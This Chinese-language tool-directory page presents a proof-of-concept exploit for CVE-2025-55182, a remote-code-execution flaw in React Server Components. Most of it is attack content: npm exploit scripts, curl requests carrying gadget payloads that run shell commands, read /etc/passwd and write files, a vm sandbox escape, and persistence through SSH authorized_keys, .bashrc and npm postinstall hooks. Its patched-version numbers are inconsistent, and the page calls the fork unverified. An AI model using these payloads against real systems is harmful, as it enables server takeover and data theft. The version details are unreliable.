Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
exploit-CVE-2025-55182-poc — 该POC演示了CVE-2025-55182,使用了实际的`react-server-dom-webpack@19.0.0`漏洞代码。 | Kitploit
工具/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育远程访问工具Payload 开发

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

该POC演示了CVE-2025-55182,使用了实际的`[email protected]`漏洞代码。

查看仓库
129个月前尚未审核
分享

CVE-2025-55182 - React Server Components 原型链漏洞

本 PoC 使用实际的 [email protected] 漏洞代码演示 CVE-2025-55182。

CVE-2025-55182 紧急修复指南:Next.js/React RSC 漏洞 (CVSS 10.0) 完整分析与缓解措施

本仓库 fork 自 https://github.com/ejpir/CVE-2025-55182-poc,尚未经过验证!请谨慎使用并仔细核实!

快速开始

root@kitploit:~
# 安装依赖
npm install

# 启动易受攻击的服务器(端口 3002)
npm start

# 运行 RCE 漏洞利用
npm run exploit

预期输出

root@kitploit:~
=== CVE-2025-55182 - 通过 vm.runInThisContext 实现 RCE ===

测试 1:直接调用 vm#runInThisContext 执行代码
1+1 = {"success":true,"result":"2"}

测试 2:vm.runInThisContext 配合 require
RCE 尝试:{"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM 脚本

root@kitploit:~
# 服务器
npm start              # 启动主服务器 (server-realistic.js, 端口 3002)
npm run start:legacy   # 启动旧版服务器 (server.js, 端口 3002)
npm run start:module   # 启动模块服务器 (端口 3003) - 假设性,见下方说明

# 漏洞利用(配合 npm start 使用)
npm run exploit            # RCE 演示(使用 vm,适用于:vm、child_process、fs)
npm run exploit:all        # 测试所有 gadgets
npm run exploit:persistence # 持久化攻击(仅 fs)
npm run exploit:research   # 原型链研究

# 假设性漏洞利用(配合 start:module 使用)
npm run exploit:module     # 通过 module#_load 实现两步 RCE
npm run exploit:indirect   # 两步 RCE(创建证明文件)

注意:module 漏洞利用是假设性的。module 内置模块在生产应用中很少被打包。它们演示了当仅 fs + module 可用时(无 vm/child_process)的理论攻击路径。实践中,拥有 fs 的应用通常也会通过 sharp、puppeteer 或 execa 等依赖引入 child_process。

测试单个 Gadgets

root@kitploit:~
# 先启动服务器
npm start

# 测试 fs 读取
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# 测试命令执行
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# 测试 vm 代码执行
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# 测试原型链访问
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

关键文件

服务器

文件端口描述
src/server-realistic.js3002主服务器 - 模拟包含常用模块(fs、vm、child_process)的 webpack 包
src/server.js3002旧版服务器(使用直接 require)
src/server-module-test.js3003包含 module + fs 的服务器(用于研究)

漏洞利用脚本

文件描述
exploit-rce-v4.js主要 RCE,通过 vm#runInThisContext
exploit-all-gadgets.js测试所有 RCE gadgets(vm、child_process、fs)
exploit-module-load.js通过 fs + module#_load 实现两步 RCE
exploit-indirect-rce.js两步 RCE(创建证明文件)
exploit-persistence.js持久化攻击(SSH 密钥、.bashrc)
exploit-research.js原型链研究

server-realistic.js 的工作原理

模拟真实的 webpack 包,其中应用通常通过依赖打包危险模块:

root@kitploit:~
// 打包的模块(使用常见包时会包含的内容)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* 用户的服务器 actions */ },
  'fs': require('fs'),           // 通过 fs-extra、gray-matter、multer
  'child_process': require('child_process'), // 通过 execa、shelljs、puppeteer
  'vm': require('vm'),           // 通过 ejs、pug、handlebars
  'util': require('util'),
};

__webpack_require__ 函数仅从 BUNDLED_MODULES 加载模块,模拟真实的 webpack 行为。

漏洞

根本原因

在 requireModule() 中,exports 通过方括号访问,未进行 hasOwnProperty 检查:

root@kitploit:~
// 存在漏洞(React 19.0.0)
return moduleExports[metadata[2]];  // 访问原型链!

// 已修复(React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

攻击向量

  1. 发送带有绑定 action 元数据的 $ACTION_REF_0
  2. id: 'vm#runInThisContext' 加载 vm 模块,访问 runInThisContext 导出
  3. bound 数组成为函数的参数
  4. 调用 action 时:runInThisContext(CODE) 执行任意代码

所有已验证的 RCE Gadgets

Gadget状态描述
vm#runInThisContext✓在当前上下文中执行任意 JS
vm#runInNewContext✓在“沙箱”中执行(易于逃逸)
child_process#execSync✓直接执行 shell 命令
child_process#execFileSync✓执行二进制文件
child_process#spawnSync✓生成进程(返回对象)
module#_load✓加载并执行 JS 文件(需要两步配合 fs)
fs#readFileSync✓读取任意文件
fs#writeFileSync✓写入任意文件

Gadget Payload 示例

执行 shell 命令(whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

读取敏感文件:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

写入文件到磁盘:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

执行任意 JavaScript:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

沙箱逃逸(vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

替代攻击路径

是否需要 vm 或 child_process?

对于直接 RCE:是,需要以下之一:

  • vm 模块(runInThisContext、runInNewContext)
  • child_process 模块(execSync、execFileSync、spawnSync)

对于间接 RCE(仅 fs):否!仅使用 fs 即可:

  • 写入 ~/.ssh/authorized_keys → SSH 访问
  • 追加到 ~/.bashrc → 下次登录时执行代码
  • 覆盖 node_modules/* → 应用重启时 RCE
  • 修改 package.json postinstall → 下次 npm install 时 RCE

假设性:通过 module#_load 实现两步 RCE

注意:这是假设性的。module 内置模块在生产中很少打包。

root@kitploit:~
// 步骤 1:写入恶意模块
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// 步骤 2:加载它
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// 结果:RCE!

对比结果

版本攻击结果
React 19.0.0vm#runInThisContext✓ 实现 RCE
React 19.2.1vm#runInThisContext✗ 已阻止

测试已修复版本

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# 攻击将失败

易受攻击的 npm 包

参见 VULNERABLE-PACKAGES.md 了解包含危险模块的流行 npm 包的研究:

模块周下载量流行包
fs145M+fs-extra、gray-matter、multer、sharp
child_process103M+execa、shelljs、puppeteer、sharp
vm21M+ejs、pug、handlebars、vm2

受影响版本

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

修复版本

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
下载工具